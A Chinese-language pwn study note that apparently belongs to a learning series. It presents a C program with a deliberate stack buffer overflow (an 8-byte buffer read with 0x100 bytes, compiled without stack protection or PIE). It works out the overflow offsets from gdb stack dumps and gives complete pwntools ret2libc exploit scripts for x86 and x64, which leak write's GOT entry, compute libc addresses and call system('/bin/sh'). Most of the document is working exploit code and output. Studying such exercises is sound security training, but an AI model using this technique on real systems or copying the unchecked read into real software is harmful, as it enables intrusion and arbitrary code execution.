Pwn 学习 question_5 x64ROP编程
1.源代码
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int dofunc(){
char b[8] = {};
write(1,"input:",6);
read(0,b,0x100);
//printf(b);
return 0;
}
int main(){
dofunc();
return 0;
}
2.编译
x86
gcc -m32 -fno-stack-protector -no-pie -o question_5_x86
x64
gcc -fno-stack-protector -no-pie -o question_5_x64
3.x86
3.1.确定溢出量
00:0000│ esp 0xffffd000 ◂— 0x0
01:0004│ 0xffffd004 —▸ 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
02:0008│ 0xffffd008 ◂— 0x100
03:000c│ 0xffffd00c —▸ 0x8049182 (dofunc+12) ◂— add ebx, 0x2e7e
04:0010│ 0xffffd010 ◂— 0x1
05:0014│ 0xffffd014 —▸ 0xffffd0e4 —▸ 0xffffd2ba ◂— 0x6d6f682f ('/hom')
06:0018│ ecx 0xffffd018 ◂— 'aaaabaaaacaaaa\n'
07:001c│ 0xffffd01c ◂— 'baaaacaaaa\n'
08:0020│ 0xffffd020 ◂— 'acaaaa\n'
09:0024│ 0xffffd024 ◂— 0xa6161 /* 'aa\n' */
0a:0028│ ebp 0xffffd028 —▸ 0xffffd038 ◂— 0x0
0b:002c│ 0xffffd02c —▸ 0x80491e1 (main+21) ◂— mov eax, 0
0c:0030│ 0xffffd030 ◂— 0x1
0d:0034│ 0xffffd034 —▸ 0x8049060 (_start) ◂— xor ebp, ebp
- 可以计算出溢出量应该是 5 * 4 = 20
3.2.布栈
- 按照如下顺序安排溢出后的栈空间
3.2.1.第一次溢出
ebp
p32(write_sym)
p32(dofunc_addr)
p32(1)
p32(leak_func_got)
p32(4)
3.2.2.计算libc_base
- 我们现在获取了write在动态链接后got表中的地址
- 为了获取动态连接后的system的地址
- 就要先计算动态连接后的libc_base地址
- libc_base = write_addr - write_offset
- libc_base = 泄露的write地址 - write在libc中的地址
- system_addr = libc_base + system_offset
3.2.3.第二次溢出
ebp
p32(sys_addr)
p32(0xdeadbeef)
p32(bin_sh_addr)
- 两次溢出以后即可控制程序获取sh
3.3.exp
from pwn import *
context(log_level='debug',arch='i386',os='linux') #这个可以决定flat函数自动补充的类型
io = process('./question_5_x86')
# gdb.attach(io)
elf = ELF('question_5_x86')
padding = 20
leak_func_got = elf.got['write']
func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
payload = flat([b'a'* padding, write_sym, func_addr, 1, leak_func_got, 4]) # 32位系统接收4位即可,使用flat函数构造payload
io.sendlineafter('input:',payload)
# 以下调用都是libc的,需要使用libc文件查看,所有的偏移都是基于libc版本
libc_file = './libc-2.33.so'
libc = ELF(libc_file)
write_addr = u32(io.recv(4)) # 解压
print('write_addr:',hex(write_addr))
write_offset = libc.symbols['write'] # libc也可用ELF函数打开
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))
system_offset = libc.symbols['system']
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))
bin_sh_offset = next(libc.search(b'/bin/sh')) # 寻找字符串偏移的方式
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))
gdb.attach(io)
payload2 = flat([b'a' * padding, system_addr, 0xdeadbeef, bin_sh_addr])
io.sendlineafter('input:',payload2)
pause()
io.interactive()
4.x64
4.1.确定溢出量
00:0000│ rsp 0x7fffffffde30 ◂— 0x0
01:0008│ rsi 0x7fffffffde38 ◂— 0x6161616261616161 ('aaaabaaa')
02:0010│ rbp 0x7fffffffde40 —▸ 0x7fffffff0a61 ◂— 0x0
03:0018│ 0x7fffffffde48 —▸ 0x40118a (main+14) ◂— mov eax, 0
04:0020│ 0x7fffffffde50 ◂— 0x0
- 计算溢出量是 2 * 8 = 16
4.2.布栈
4.2.1.第一次布栈
rbp
p64(pop_rdi_ret)
p64(1)
p64(pop_rsi_r15_ret)
p64(leak_func_got)
p64(0xdeadbeef)
p64(write_sym)
p64(dofunc_addr)
4.2.2.计算偏移
- 原理同x86
4.2.3.第二次布栈
rbp
p64(pop_rdi_ret)
p64(bin_sh_addr)
p64(system_addr)
4.3.exp
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./question_5_x64')
# gdb.attach(io)
elf = ELF('question_5_x64')
padding = 16
pop_rdi_ret = 0x00000000004011fb
pop_rsi_r15_ret = 0x00000000004011f9
leak_func_got = 0x404018
func_addr = elf.symbols['dofunc']
write_sym = elf.symbols['write']
payload = b'a'* padding + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(leak_func_got) + p64(0xdeadbeef)
payload += p64(write_sym) + p64(func_addr)
io.sendlineafter('input:',payload)
# 以下调用都是libc的,需要使用libc文件查看,所有的偏移都是基于libc版本
write_addr = u64(io.recv(8).ljust(8,b'\x00')) # 补全8位
print('write_addr:',hex(write_addr))
write_offset = 0x00000000000EE5F0
libc_addr = write_addr - write_offset
print('libc_addr:',hex(libc_addr))
system_offset = 0x0000000000049860
system_addr = libc_addr + system_offset
print('system_addr:',hex(system_addr))
bin_sh_offset = 0x0000000000198882
bin_sh_addr = libc_addr + bin_sh_offset
print('bin_sh_addr:',hex(bin_sh_addr))
gdb.attach(io)
payload2 = b'a'* padding + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter('input:',payload2)
pause()
io.interactive()